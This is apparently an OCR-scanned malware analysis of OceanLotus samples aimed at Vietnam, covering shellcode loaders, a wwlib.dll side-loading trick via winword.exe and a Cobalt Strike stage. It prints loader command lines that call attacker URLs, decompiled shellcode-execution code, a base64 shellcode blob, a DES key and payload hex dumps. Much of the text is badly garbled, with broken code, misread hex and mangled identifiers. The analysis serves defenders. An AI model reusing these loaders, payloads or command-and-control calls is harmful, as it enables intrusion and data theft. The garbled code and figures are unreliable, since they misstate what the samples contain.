611£35b485hEPbTAAbG1164PbbGAL BT [2018-11-P2, 08:38:19 556537 |\ codelmacro_nbPr equest! exe ~u hitps:/fsyn servebbs. con/luss32 gif ~t 200000
ce0aFAIb440:P5P6T oB6 181 d3dB, lo018-11-p2, 08:38:23 551417 \codelmacro_nbZirequest exe —u hitps'//syn servebbs. con/lussbd gif -t 200000
SAT: l2018-12-17,07:36:48 287472 |\ codelmacro_nbPr equest’ exe ~u hiips'//yord webhop info/blak3? gif ~t 200000
l2018-12-17, 07: 36:51 282352 |a: \codemacro_nbZirequest exe —u hitps//vord webhop. info/blakbd gif -t 200000
il l2019-01-18, 08:24:18 342016 |\ codelmacro_nbPr equest’ exe —u hitps//syn servebbs. confidf4 png ~t 300000
29329501 b |p019-01-30,15:19:38 392016 |¢: \nsersiwinTut164\desktopinacr o nb? new\requestipostdatabd. exe -u https://office. all con/EdswB4 png ~t 240000

According to the table comparison, the command line of the first sample is different from other samples. It can be
known that it should be the sample of different attacks. This sample is the annotated version, which will load

shellcode in memory in the same way.
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1 DWORD _ stdcall StartAddress(LPVOID lpThreadParameter)
2{

void *wl; J//J esi

OutputDebugsStringA("My Sample Service: ServiceWorkerThread: Entry™);
while { WaitForSingleObject{hHandle, @) )
{
vl = Virtualdlloc(®, @x1461Cu, @x1888u, Bx48u);
memmove (v1, &loc_413788, @x1461Cu);
1@ {((void (*)(wvoid))v1)();
11 Sleep(@xBB8u);
12| }
13| OutputDebugStringA("My Sample Service: ServiceWorkerThread: Exit™);
14! return @;
15}

[E R RV, R Y]

The PE included in the file is found in a hacker's toolkit. The file name is CMD [w7][x64].

The function of this sample is to execute the McOds. Exe (this is the exe file name of the white utility program
used by OceanLotus) through the CMD [w7][x64]. Exe contained in the file, while the McOds. Exe should be the
file released by the dropper before.

:0x00023018 ==>:cmd.pdb

10x00043dd0 ===:ReadProcessMemary
:0x000435cc ===:ResumeThread
:0x00044231 ===:NtOpenProcessToken
:0x00021afc ===:CreateProcessAsUser
0000310 ===.COM;.EXE;. BAT,.CMD;.VBS;.JS; WS5;.MSC
100000347 ===\ XCOPY.EXE
:0x00008774 ===iEB¥cmd.exe
0x00000%9ee === BCMD.EXE
:0x00023db4 ===7\CMD.EXE
:0x000001e0 ===:360upk0

:0x00000230 ===:360upk2

1000000208 ===:360upkl

:0x00043elf ===:CreateProcess\W
10x0003fc5c ===0\Shelh\Open\Command

:0x00007506 ===aRAutoRun

The upload place of this sample is VN, the upload time is July 31, and the file name is msvchr.exe, we can know

that this sample should be aimed at Vietnam attack:

@ Identification @, Details @ Content U Analyses & Submissions @ITW & Comments

L4 > + 4

Date File name Source Country
2018-07-31 01:46:22 msvchr.exe ecdD3682 (web)

Through the analysis and comparison of these samples, we can know that these samples should be used to
specifically execute exe file in memory, and pass command line parameters of the Loader program, is the last six

months to use the new malicious code framework, specifically used to develop against static kill.

It is found that two samples are 10M, and the end is filled with 0x20 (space), which is filled into a large file to

avoid being uploaded:
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4T afcfbechefI23284db2b490c]1Tad094 4934975 d20 e alab01 16 ccBObY] abed |

Of fset o1 2 3 4 5 6 7 5 9 A B C D E F o
0004BD40 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0004BDS0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0004BD60O 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
O004EBD70 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0004BDE0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0004BD90 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0004BDAOD 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0004BDEO 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0004BDCO 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0004EBDDO 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
ODO4BDEOD 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0004BDFO 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0004BEOD 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
OD04BE10 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
O0D04BEZ20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
ODO4BE30 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0004BE40 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0004BESO 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
OD04BEGO 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
ODO4BE7O 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
OD04BESO 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0004BE90 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0004BEAD 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
ODO4BEEO 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
OD04BECO 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

And the way shellcode is loaded for these samples is a little different:

1. Most samples are executed shellcode by creating threads

1B00L __stdcall D11Main(HINSTANCE hinstDLL, DWORD fdwReason, LPWOID lpvReserved)

HMODULE v3; // =3

1 HANDLE

5 if ( FdwReason == 1 )

7 sleep(@x2rieu);

E 3 = GetModuleHandlea( kernel32.d11"); 5
3 GetProcAddress(v3, *CreateThread"); 7
10 sub_leeelele(); ——————— 3

GetCurrentProcessTd();
OpenProcess(@x1FFFFFu, @, v@);

12 return 1;

L Bx3000u, @x46u);
3, 8unk_10012768, @x37088u, @);

V3, @, 8, 0);

return result;

19}

2, compile the earliest version of the sample, in the form of services, with comments, in serviceMain create thread

execution shellcode

if ( hHandle )
{

ServiceStatus.dwControlsAccepted = 1;
ServiceStatus.dwCurrentState = 4;
Servicestatus.dwiin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 8;
if ( !setServicestatus(hServicestatus, &Servicestatus) )

OutputDebugStringA("My Sample Service: ServiceMain: SetServiceStatus returned error”)
i = CresteThread(8, 8, Startddress, @, @, 0);
utDebugStringA("My Sample SEFVM
WaitForsingleobject (v4, OxFFFFFFFF);
OutputDebugstring sample Service: ServiceMain
OutputDebugstring Sample Service: ServiceMain:

ID lpThreadParameter)

vi; /f esi

Closetandle (hHandle);
ServiceStatus.dwControlsAccepted = 8;
ServiceStatus.dwCurrentState = 1;
ServiceStatus.dwhin32ExitCode = @;
ServiceStatus.dwCheckPoint = 3;
v3 = setServiceStatus(hServicestatus,

}

else

OutputDebugstringa( "My
ServiceStatus.dwControlsAccepted = @;
ServiceStatus.dwCurrentState = 1;

sample Service:

OutputDebugStringA("My Sample Service: ServiceWorkerThread: Entry");
while ( WaitForSingleGbject(hHandle, ) )

1 = VirtualAlloc(8, @x1461Cu, 8x1060u, @x40u);
doc_413788, @x1461Cu);

DIEION

servicestatus ¢
Sleep(3860u);

OutputDebugStringA("My Sample Service: ServiceWorkerThread: Exit®);

ServiceMain: return 0;

ServiceStatus.dwhin32ExitCode = GetlastError();

ServiceStatus.dwCheckPoint = 13
v3 = setServicestatus(hServicestatus,

i

if (13
OutputDebugStringA("My Sample Service

OutputDebugStringA( "My

&serviceStatus);

: ServiceMain: SetServiceStatus returned error”);
Sample Service: ServiceMain: Exit");

3. A small part of samples execute shellcode directly on the main thread
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int64 sub_136001008( )

1

2

3 _ inted (*vB){woid); // rax
4| _ inted (*w1)(); S/ rox

5 signed _ int&4 w2; // rB

6 _ inte4 (*v3){woid); // rdx
7| __int128 w4; // xmm@

8

9 vl = (__inte4 (*)(void))VirtualAlloc(@ied, @x32601lui6d, Bx1066u, Bx48u);
18 vl = sub 1E@@148Ee; // shellcode

11 w2 = Bx64Ci64;

12| v3 = va;

vold)}((char *)v3 + 128);

( Py((char *)vl + 128);

3 - 8) = udy

3 - 7) = *((_OWORD - 7);
3 - 6) = *((_OWoRD * - 6);
3-5)= ’ - 5);
3-4) - - 4)s
3-3) = - 3);
i-2) - - 2);
vio- 1) = - 1);

/1 AT

wwlib DLL Injection

Through the analysis of the compression package cplh-nhnn-01-2019. Rar downloaded by amazon AWS, it is

found that the compression package packages winword.
They use winword. Exe white use technology, winword. Exe will load the same directory by default wwlib. DLL;

The reason why winword. Exe white use technology, because winword. Exe icon is the icon of word, and

wwlib.dll is hidden, so they only need to change winword.

[fw chiPhilienHoanNHNN-BC2019.exe 2019/1/22 1048  REERE 340 KB
[ % wwlib.dll 2019/1/22 10:48  REEETE 112 KB|

Wwlib. DLL malicious code in the FMain export function, winword. Exe will open the default call FMain this
export function, malicious code will be executed; Then base64 decodes the shellcode that comes with it and

executes it in the main thread:

15 SetErrorMode(@xB3867u);
16 sub 108@12F8();

17 basegddecode(&1ptem); // basecafii
18 w9 = 15;

19 vd

28 ud = @8;

21 memCpy(&v4, (int)&IpMem, @, -1);
22 loadshellcodg(*(void **)&va, vs, ve, v7, v&, v3);// MEishellcode
23 if ( vil >= B

g; { v@ = IpMem; 16| vé (void (*)(void))virtuzlalloc(®, dwsize, @x1@@eu, @x4eu);
26 if ((vil + 1 w1l v7 = &lpten;

27 H 12| if ( (unsignad int)as »= @x18 )
28 if ( (unsign13 v7 = lptem;

29 _invalid_pi 14 vB = vE;

38 vl = x((_nl.-mls memmove_B8(v6, v7, dwsize);

31 if (w1 o= (1260 _vEQs N

32 _inwvalid_parameter_noinfo_noreturn(lpiem);

33 v2 = (char *)1pMem - v1;

34 if ( (char *)1lpMem - vl < (char *)4 )

35 _invalid_parameter_nocinfo_noreturn{v2);

36 if ( (unsigned int)v2 > ex23 )

37 _invalid_parameter_noinfo_noreturn{v2);

38 wv@ = (void *)*((_DWORD *)lpMem - 1);

39

48 j_j__ free base(va);

41

42 return @;

43}
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Location of base64-encoded shellcode in the sample:

.data:18819DC3 abaaaaabzgkfjym db 'GAAAAARTZ+kFjYm2BgAAUegBAAAAWIWLTIPk+ IHS LAEAAGShGAAAAFNWVATAMMED "

.data:18819DCs8 ; DATA XREF: basegddecode+56To

.data:18e19DC3 db 'FBrAGUAx@QkVHIAbgDHRCRYZQBsATtADMAE IFwzADIAX@QkYC4AZADHRCRKbABSAT "
.data:18e19DC3 db "tIFDPAiUwkGIVZZolEJGEPHEQAATLTKIL@IFAPtwImhcBOKZAPtwSmhcl@IIPIIIP'
.data:18819DC8 db " JITA+3+A+3wY7+HUBD7dCAOPCACPGAMaFWHXYD7c6D7cKgB8ggeBkgKBiFyXQfixs7"
.data:18e19DC3 db "XCQYD4TgBOAAZ3sYAHWKX1Shi+VdwgQALs/ r24tLEIIMIAYFyQ+EVEUAATERPMAED "
.data:18e19DC3 db 'BQAAAAAIZQKeItECNYFIg+EXAAAAAPGOBOKUA+DUARAATEEDISLVALEABGLXALYAD "
.data:18619DC8 db 'GIRCQE1GQOHAPExBQkFAAAAACIRCRAMBCIVCOQY iVwkHI 1IEJBCF2w+ETAAAAABTRAL "
.data:18e19DC3 db "AixyCM/YD2TP/gDsAdEVmMkA++BB+LyIHhDWAAEHKFSYPISEGZjTR2g+IPweEEASLE "
.data:18e19DC3 db "+AQDx@cDwQPwgDwTAHXR1GQKEIH+1YIHASQViGwkDItUIBhAIUQKEDTEIBxyousXi®
.data:18619DCE db '@wkPA+3BEGLTCRALIZYBASwkDILEIBSNRCQsx@QkLGE1cmEThCSEAAAA ] IwkrARAAL "
.data:18e19DC3 db ' gHAAAAXBQKMGYSMz ImiYQkpAAAAL BCAAAATYQKhAAAAMAE IDQUZGXSIYQkqAAAATZ "
.data:18819DC8 db "EJOgAAACThCSSAAAATUQKIIMEJLAAAACACZAAAGE ThCSBAAAATYOkWAAAATMEILEA"
.data:18819DCs db "AACNhCQIAQAAXxKQKOADHhCSEAAAAEBEBDSeE] IEAAACYEECDxA0k JAAAAF ] SOHHR "
.data:18e19DC3 db 'CSQAAAAZIJRAMeETIQAAAAS3SQEXAQkMAAAAEZZKADHNCS CAAAABCKAAMAEICBECS "
.data:18e19DC3 db " Zjx@QkIHIBLmRmx@QkKGxsxkQkKgDHhC TARAAAKS KAAMEE TMQAAADBHQAAXADkYAA
.data:18e19DC3 db "AAFpYAADHhCTMAAAADIIAAMEE INAAAAAVAAEAXADKTAAAANUAAQDHRCTY ARAAL/EA"
.data:18e19DC3 db "AMeEINwAAADdYgAAXAQkIAAAAAWCAQDHNC TRAAAAIWAAATME JLWAAACTXCOMINwRE
.data:18e19DC3 db 'P9z9IsziXQkTPOUIB1IBE+3Q/gz241EIESIXCQOhCAPhA4BAACNRESThCSARAAATT "

It is found that the decoded shellcode and the previous shellcode are loaded in the same way. The data offset

0x6b6 is passed to the sub_16 function as the parameter:

5egPB:000BB000 ; Segment type: Pure code

segment byte public "CODE' use32

assume cs:segooe

assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing

:%m‘; call 2’:,5( 5000 : 00BOOEES align 2
sEg%@:”EE ws :"g x5 g 5cg00d :8000B6B6 word 686 dw 182Ch |
segm:aazm»aag oo o, Tecxs sege0a: 00080688 db
segm:”” bl push  sox sega0e: 00000689 db @
Segm:mwznlae P ceas sege0e: 000a068A dd offset unk_138A
SEo00. 00000015 <5006 : 00000685 db 6CDh
25000, 00000016 <5006 : 000606BF db es8h
5eg000: 00608016 ; BROUTINE _5¢5000:000006C0 do @
Senoe0 00000015 52000 : 0008061 db 59h ;¥
SegdBD:080B0G16 ; Attributessfp-based Frame 528000: 0000062 db erch
Sero00. 00000016 <5000 : 0000063 db 83h
Seg000: 008BER16 sub_16 proc near ; Cope xR®SE909:006005C4 db oFsh
25000, 00000016 <5006 : 0006065 db 5
5g000: 00000016 var_12C = dword ptr -12ch 5eg000:800006C6 db 30h
5egP00: 00000016 var 120 = dword ptr -123h 52E000:000006C7 do ash
5eg0B0: 06060616 var 124 = dword ptr -124h 52E000:000006CE do gsh
5ego0e: 00BBER16 var 120 = dword ptr -120h 568006:066606¢9 do GEh
5egP00: 00080016 var_11C = dword ptr -11Ch 525000:800006CA db o0k
5eE08:0008B016 var_118 = dword ptr -118h S8E000:800006CE do 9
5g000:00000016 var 114 = dword ptr -114h 52E000:800006CC db 51h ;@
5eg0B0: 06060616 var 110 = word ptr -110h 52E000:000006C0 do ozsh
Seg000: 00EBER16 var 10F = byte ptr -18th 568006 066606CE do 1
5egP00: 0008E016 var 160 = dword ptr -18Ch 525000 006606CF db o5k
5egP00: 00080016 var_108 = dword ptr -188h 5250000000600 db oFh, 6C3h
5g000:00000016 var 104 = dword ptr -1ech 52E000:800006D2 db 5sh
5eg0B0: 06000616 var 100 = dword ptr -160h 52E000: 00000603 do s8h
5eg000: 008BBO16 var FC = dword ptr -@FCh 5€5006: 06060604 db oECh
5cg08: 08080016 var F8 = dword ptr -8FBh

56g000:08080016 var_F4 = dword ptr -@Fsh

52g000:00000016 var_Fo = dword ptr -@Foh

52g000:00060016 var_E3 = dword ptr -GESh

5eg000: 00000016 var Ed = dword ptr -E2h

5cg08: 08060016 var_EG = dword ptr -8E0h

56g000:08080016 var_DC = dword ptr -apch

56g000:00080016 var_DS = dword ptr -psh

52g000:08000016 var D4 = dword ptr -@psh

5eg006: 00060016 var DO = dword ptr -6Doh

5cg008: 08080016 var_CC = dword ptr -8CCh

5cg08: 08080016 var (8 = dword ptr -8C8h

56g000:08080016 var_C4 = dword ptr -Cah

52g000:00000016 var_Co = dword ptr -acoh

5eg006: 00000016 var BC = dword ptr -GBCh

5eg000: 00000016 var DS = dword ptr -B8h

5cg08: 08060016 var B4 = dword ptr -8B2h

The function sub_16 is used to decrypt the data following 0x6b6, decrypt the second shellcode and execute it. The

figure below is the second shellcode decrypted:

5egP00:00000000 ; Segment type:
Segeee

var_264
var_200
var_1FC
var_1F8
var_1Fa
var_1Fe
var_1EC
var_1E8
var_1€a
var_1E0
var_10C
var_108
var_1D4.
var_100
var_1CC
var_1C8
var_14
var_1(o
var_18C
var_188
var_184
var_180
var_1AC
var_1A8
var_1Ad
var_1A2

Pure code
segment byte public 'CODE' use32
assume cs:5egB00

assume esinothing, ss:nothing, ds:nothing, fsinothing, gs:nothing

call  $45
pop ecx
sub ecx, 5 [egB0o : 0BBRBESS db 3 dup(eCch)
lea ecx, [ecx+0EEEh]= seg0BB: 00008585 alUsername db 'username’,@
push ecx aComputername  db 'computername’,@
call 16 202x02x02x02x82 db "%O2X:¥B2X:XB2X: %O2X : ¥62X:%02X",0
retn Y db 1
EL db ‘eeea’,e
UBROUTINE dd 9E4C1135h
Segene : eeeeaECs db 1sh
p-based frame 525800 1 0BORAECS db  1ah
58000 : 00BOBECE db @FFh
proc near 5 COlsepeen:8eaaECT db 27h ;
segBB0 : BRBBBECS db 18h
= dword ptr -204h 5eg000 : 00BBECD db 21h
= dword ptr -288h 52BB8 1 BARBBECA db ersh
= dword ptr -1FCh 'segBBp : BBBRAECE db 83h
= dword ptr -1F8h 5eghBe: BRORRECT db 4Bh 5 K
= dword ptr -1F4h 'SeE88e : BBBBRECD dw 8ADSh
= dword ptr -1F@h <egBBe : 6OOBBECT db 53h 5 S
= dword ptr -1ECh 5eghhe : BR0RREDE db 9ph
= dword ptr -1E3h 525800 :000RBEDL db @ah
= dword ptr -1E4h '5eg000 : 000BRED2 db 26h ; &
= dword ptr -1E6h SEegBBe : 6AABBED3 db 18h
= dword ptr -1DCh 52080 : BORBBEDS db @E7h
= dword ptr -1D8h 5eg00d : 0000REDS db  16h

= dword ptr -1D2h
= dword ptr -100h
= dword ptr -1CCh
= dword ptr -1C8h
= dword ptr -1C4h
= dword ptr -1Coh
= dword ptr -18Ch
= dword ptr -183h
= dword ptr -182h
= byte ptr -186h
= dword ptr -1Ach
= dword ptr -128h
= dword ptr -1Adh
= byte ptr -1a8h
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The second shellcode shellcode by DES declassified out the third layer, the key to
"asfahdiughu93ye7891h9ubioufcf" :

763
764
765
766
767
768
769
778
771
772
773
774
775
776
777
778
779
788
781
782
783
784
785
786
787
788
789
798
791
792
793
794
795
796
797
798
799
see
8@l
802 memcpy(v91, al + 183 +
303 if ( !CryptDecrypt(v!
8684 break;

8as5

86

se7

808

8e9

8le

811 }
812 ¥

2 1);

ireContexth

reateHash(vl

tHashData » strlen(v3e), @)

v145) )

The third layer of shellcode in front of the entrance and two shellcode entry is the same, also call/pop way find
shellcode the positions of the loaded into memory, and then take the code at the back of the data (0 x8c6 offset)
when the parameters are passed to the sub_16 function, parameters passed as: HTTPS: / /

office.allsafebrowsing.com/AwPT:

seg08: 00060008 loc_B:
5eg00R: 00000000 eall  $45 _
S5eg00: 00060005 pop ecx Seg0e0: 6ABAASCE

Seghoa :aBaneRes sub s :000008C8
5eg000: 00000009 € :000085CA

Segfen :aBaBeREF :900008CC
52g000:00000010 :B00R0SCE
Segfen :anasee1s 90000800
52g000:00000016 : 00080802

gl i 00000804
5eg0oa :aBaneR16 SegPen: 0EBEOEDE
segBB0:8B@8vR16 ; Attributcs? bp-based frame Seg@en: HEBRBEDS

5eg0R:00000016 seg060: 600GEEDA
5eg@00:00060016 sub_16 proc near ; CODE XRseg@ee:
Segeoe ;00060016 s2g0ee:

5e£000:00000016 var_1C0
Seg@ea:00060816 var 18C
5egPoa:aeanen1s var_ 163
Seg808: 00060016 var 154
5eg@00:00000016 var 180
5eg808:00060016 var 1AC
Segeee:00060616 var 143
5eg600:00000016 var 1A4

dword ptr -1Ceh
dword ptr -18Ch
dword ptr -188h
dword ptr -184h
dword ptr -186h
dword ptr -1ACh
dword ptr -148h
dword ptr -1A4h

5eg000:00000016 var_65C = byte ptr -65ch Segaee: e
Segeda:aeaeRel6 var_454 = byte ptr -454h seg0en:
5g000:00000016 var_24C = dword ptr -24ch segaes: dw ‘a’
SegBon:0BReRE1E var 244 = dword ptr -244h segoee: dw "1
56g000:00000016 var_240 = dword ptr -24eh segaen: dw 'L
Seg860:08080016 var 23C = dword ptr -23Ch 525000 : dw s’
5eg0e0:a0aees1s var_238 = dword ptr -238h seg0ee: dw ‘&’
5eg008:00000016 var 234 = dword ptr -234h Seg0ee: dw f’
5egH00:00008016 var_210 = dword ptr -218h seg0ee: dw ‘e’
5eg008:00000816 var 280 = word ptr -26Ch Seg0ee: dw b’
5eg0B0: 00000016 var_203 = dword ptr -208h sege0: dw "'
5eg000:00000016 var 204 = dword ptr -284h segaee: dw ‘o’
Seghon:0BBBEE1E var 200 = dword ptr -200h segeee: dw W'
5eg000:00000016 var_1FC = word ptr -1FCh Segaee: dw s’
Segeda:eeaersls var_1F3 = dword ptr -1F8h seg0en: dw "1
5g000:00000016 var_1F4 = dword ptr -1F4h segaes: dw 'n’
SegBon:0BReRE1E var 1FD = dword ptr -1Fdh 525066 : 6000980 dw ‘g’
5g000:00000016 var_1EC = word ptr -1Ech seg860: 60086982 dw "Lt
SegB00:08080016 var 1E3 = dword ptr -1E8h 525000 : 60000984 dw ‘c’
5eg000:00000016 var_1E4 = dword ptr -1E4h S=gP00: BEBREIBE dw "o
5eg000:00000016 var 150 = dword ptr -1E6h 5eg060 : 60006983 dw ‘m’
5ege0A:00000016 var_1DC = dword ptr -10Ch 5eg060: 6000690A dw '/
5eg000:00000016 var 108 = dword ptr -108h Seg060 : 600089AC du A’
segedd:0BB80e16 var_104 = dword ptr -1Ddh Seg000: BOBROIGE dw “w'
5eg000:00000016 var_100 = dword ptr -108h Seg060: 60008910 du P’
Segeda:eeaersls var_1CC = dword ptr -1CCh 52g000: 00000912 dw T
5g000:00000016 var_1C8 = dword ptr -1Csh Segae0: 600aeg14 db @
SegBon:0BReRa1E var 104 = dword ptr -1C4h 525060 : 60008915 do @
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The shellcode from HTTPS: / / office.allsafebrowsing.com/AwPT download files, and then performed in the
memory, the image below to download the file using the UA:

427 w124 = "o\8M';
428 w125 = "i\@z":
429 w126 = "1\8l';
438 w127 = "f\@a’;
431 w128 = ".\@5";
432 w129 = " \Be';
433 wvi3e = "c\e("';
434 w131 = "'m\@Bo’;
435 w132 = "a\ep';
436 w133 = "i\et';
437 w134 = "1\8b";
438 w135 = ";\Be’;
439 w136 = "M\@ ';
448 w137 = "INGS';
441| w138 = " \BE';
442 w139 = ".\09';
443 w14l = ";\00";
444 w14l = "W\@ ";
445 w142 = "'n\@i’;
446 w143 = "o\8d';
447 wvi44 = "s\@w';
443 w145 = "N\@ ";
449, w146 = " \OT';
458 w147 = ".\06";
451| w148 = ";\81";
452 w149 = "T\@ ":
453 w158 = "i\er';
454 w151 = "e\@d';
455 w152 = "t\@n':
456 w153 = "5\@/';:
457 w154 = "@\@8.";
458| w155 = 41;

The downloaded AwPT file from cobaltstrike is the shellcode module:
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AwET

Of fset 01 2 3 4 5 & 7 & 9 A B C D E F -
00000000 EC ES 01 00 00 OO0 81 EB 2E 59 8B 11 48 83 C1 04 iig..... &.Y1.HIA.
00000010 8B 19 31 D3 48 83 C1 04 51 8B 39 31 D7 89 39 31 1.1CHIA.QI91x191
00000020 | FA 48 83 C1 04 83 EB 04 31 FF 39 FB 74 02 EB E9 uHIA. 1. 190t . 8¢
00000030 | SA 48 83 EC 03 FF E2 E3 CD FF FF FF 1B 7E C1 C9 ZHIi.yaelyii . ~AE
00000040 | 1E 46 C2 9 56 24 29 C9 56 24 29 92 DF FE 7B D7 .FAEVS)EVS) Ra{x
00000050  8A 72 9E 56 49 SA 1D 56 49 AS CE 3E B9 10 6C 68 IrIVIZ.VI¥i>:.1h
0O000D0AD D1 14 &C A3 D1 43 93 BS D1 43 93 BB D1 43 93 BS H.1hHCI HCI HCI,
00000070 D1 43 93 BB D1 43 93 BB D1 43 93 BB D1 43 93 B8 Moo Few Beon ficr,
00000080 21 43 93 B8 2F 5C 29 E6  2F ES 20 7B 0E 50 21 37 ICI,\)%% {.PI7
00000090 03 71 7S SF AA 02 55 2F D8 6D 32 5D B9 00 12 3E Aqu_2.Ur@m2]*..>
000000A0 DS 6E 7C 51 AC 4E 1E 34 6C 3C 6B SA AC 55 05 7& @n|Q-N.41<kZ-U.z
0O00DOBO ES 1A 56 SA 85 75 32 3F AB 78 3F 35 8F 78 3F 35 &.VZIu27«x7?5.x75
0O000D0COo  8F 78 3F 35 58 85 61 00 CB 19 51 66 58 85 61 00 .x?5Xla.E.QfXla.
000000D0 CE 19 51 66 ES CA F7 00 77 56 C7 66 FA 98 73 00 E.QfAE+.wVQfils.
000000ED 41 04 43 66 OC CA E6 00 40 56 D6 66 C1 98 65 00 A.CFfife.LV0file.
DO00DOFOD DO 04 55 66 64 SE 1E 00 F8 C2 2E 66 6B SE 1F 00 B.Ufd™..mh.fk~..
00000100 19 €2 2F 66 94 OC 96 00 BB 90 AfR 66 36 SE 04 00 .AZFL.01.».!f6~..
00000110 A4 C2 34 66 29 OC 95 00 BB 90 AS 66 E9 F9 C6 OE  HA4f).1.».%¥féuk.
00000120 7A 65 F6 6B 7A 65 F6 63 7A &5 FG 68 7A GG FA 63 zeshzeshzeshzesh
00000130 7A 65 F6 63 2& 20 F6 63 66 21 F2 638 2B 71 62 33 zedh* ohfloh+gb3
00000140 2B 71 62 33 2B 71 62 33 CB 71 60 92 CO 70 69 92 +gb3+qb3Eg "Api~
00000150 CO0 3E 6B 92 €0 FC GA 92 CO FC BA 92 Bl 8B 6B 92 Ark Aiij Aij +lk”
00000160 B1 9B 6B 92 B1 FE 69 92 B1 FB 69 82 B1 EB 69 82 +lk +0i’+0il&il
00000170 EB1 E9 69 82 B4 E9 69 82 B4 E9 69 82 Bl E9 69 82 +&il &il &il+éil
00000180 Bl E9 69 82 B1 D9 6D 82 B1 DD 6D 82 B1 DD 6D 82  +&ilxUml+¥ml+¥ml
00000190 B3 DD 2D 83 B3 DD 3D 83 B3 CD 3D 83 B3 CD 2D 83 sv-13¥=1%1=131-1
0O00D1A0 B3 DD 2D 83 B3 DD 2D 83 A3 DD 2D 83 F3 DC ZE 83 sY-1°V-1£¥-14U.1
000001BO0 &2 DO 2E 83 DR 32 2C 83 76 32 2C 83 76 32 2C 83 eU.102.1w2.1v2.1
00000100 76 32 2C 83 76 32 2C 83 76 32 2C 83 76 32 2C 83 w2, IvZ,IvZ,IvZ, I
000001D0 76 32 2C 83 76 22 28 83 B6 34 25 83 B6 34 28 83 w2, Iv" (14 (1741
DOOOD1ED BR 34 28 83 BG 34 28 83 B6 34 28 83 B6 34 28 83 4[4 (194 (1941
DOODD1FD  BA 34 28 83 BA 34 28 83 B6 34 28 83 76 DC 2A 83 M4( 194 (194 (1vii=]
00000200 36 DO 24 83 36 DO 24 83 36 DC 2A 83 36 BC 28 83 GU=16lU=16l=164(1
00000210 42 BF 28 83 42 BF 28 83 42 BF 28 83 42 BF 28 83 BZ(IBL(1BL(1BL(I
00000220 42 BF 28 83 42 BF 28 83 42 BF 25 83 6C CE 4D FB BEZ(1BE4 (1B (11EMa
00000230 18 CB 4D FB 12 87 4F FB 12 97 4F FB 12 D9 4D FB  .EMa. 10a. 100 .UM
00000240 12 DD 4D FB 12 DD 4D FE 12 DD 4D FB 12 DD 4D FB  .VMi. VM. ¥Mi . M1
00000250 32 DD 4D 9B 1C AF 29 FA A3 CE 29 FA (09 GF 29 FA  2¥MI. juhijuFau
00000260 | C9 OF 2B FA C9 AD 2B FA (9 FF 29 FA (9 FF 29 FA E.+uE-+uEi)ufia
00000270 C9 FF 29 FA C9 FF 29 FA 89 FF 29 BA A7 9B 48 CE Ey)uEy)uly)esiHi
00000280 Ch 9B 48 CE 86 G4 48 CE 86 74 4B CE 86 50 4B CE EIHIrdHIntEIIPED
00000290 86 B4 49 CE 86 A4 49 CE 86 A4 49 CE 86 A4 49 CE 1=1ir=1ir=1ir=1i
00000Z&0 | CR A4 49 OE E& DR 2C 62 B7 BS 2C 62 DD AB 2C A2 E®I.&0.blp.b¥<.b
00000ZB0 DD BE 28 62 DD 9B 28 62 DD 83 2B 62 DD 83 2B 62 Vs (bYI(bVI+bVI+b

The following figure shows the algorithm to decrypt the attached data at the end. Like the shellcode module from

cobaltstrike, the difference from before is that the shift moves 8 bytes backward:
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seghend: aeeaee8d sub_9 proc near ; CODE XREF: seg@@@:loc_37ip
Seghea : peopaaas pop ecx
seghen: Beeaae0A mov edx, [ecx]
seglen : peaeaaac dec eax b
seglea: aeeaaeaD add ecx, 4
seghen: aeeanale mov ebx, [ecx]
seglea: eeaaaal2 xor ebx, edx
seghen: aeeanals dec eax
Segees: eenesals add ecx, 4
seghen: aeeanals push ecx
Segena : peepeals

segled:eeeaeels loc_19: ; CODE XREF: sub_9+25!j
Seglaad: aeaeaals mov edi, [ecx]
segled: eeaeeals xor edi, edx
segeea: eeasaalld mov [ecx], edi
seglen: eeseealr xor edx, edi
seghes : e0Ea821 dec eax
seghen: aeeane22 add ecx, 4
seghea : 60080025 sub ebx, 4
seghen: aeeana2s xor edi, edi
seghes : BeBBaa2A cmp ebx, edi
seglea : aeaeena2c jz short loc_3
seghea : 0eePBe2E jmp short loc_1!

SEgBea:eeaBeeEse [ --------- oo
seghed: eeaeaase

segled:eeeaee3e loc_30: ; CODE XREF: sub_9+23tj
seghea : peepaase pop edx

seghen: aeeanas1 dec eax

seghen: aeeanas2 sub esp, &

seglea: aeaeeass jmp edx

seglead: aeeanass sub_9 endp

Seghea : eeapaess
SEgBBa:BBBBBREST - oo oo
Seghed: aeoeaas7

segled:eeeaea37 loc_37: ; CODE XREF: seg@@@:loc_71j
seglaa:aeaeaasy call sub_9

seglea:eewdeR@sy ; ---------------------------------- b
Seg0en : eBReRa3C dd ecaci7eish | 3 TEREAIEF A

seghed: pebpoade dd @C9C2461Bh

Segeea:eeeenedd [ ---------------------------------ooo-ooooooo oo oo oooooooooooooooooo
seghon: peeaae4d push esi

Segled: aeaanads and al, 2gh

seglen: aeaeaad7 leave

seglee:aeaeaads push esi

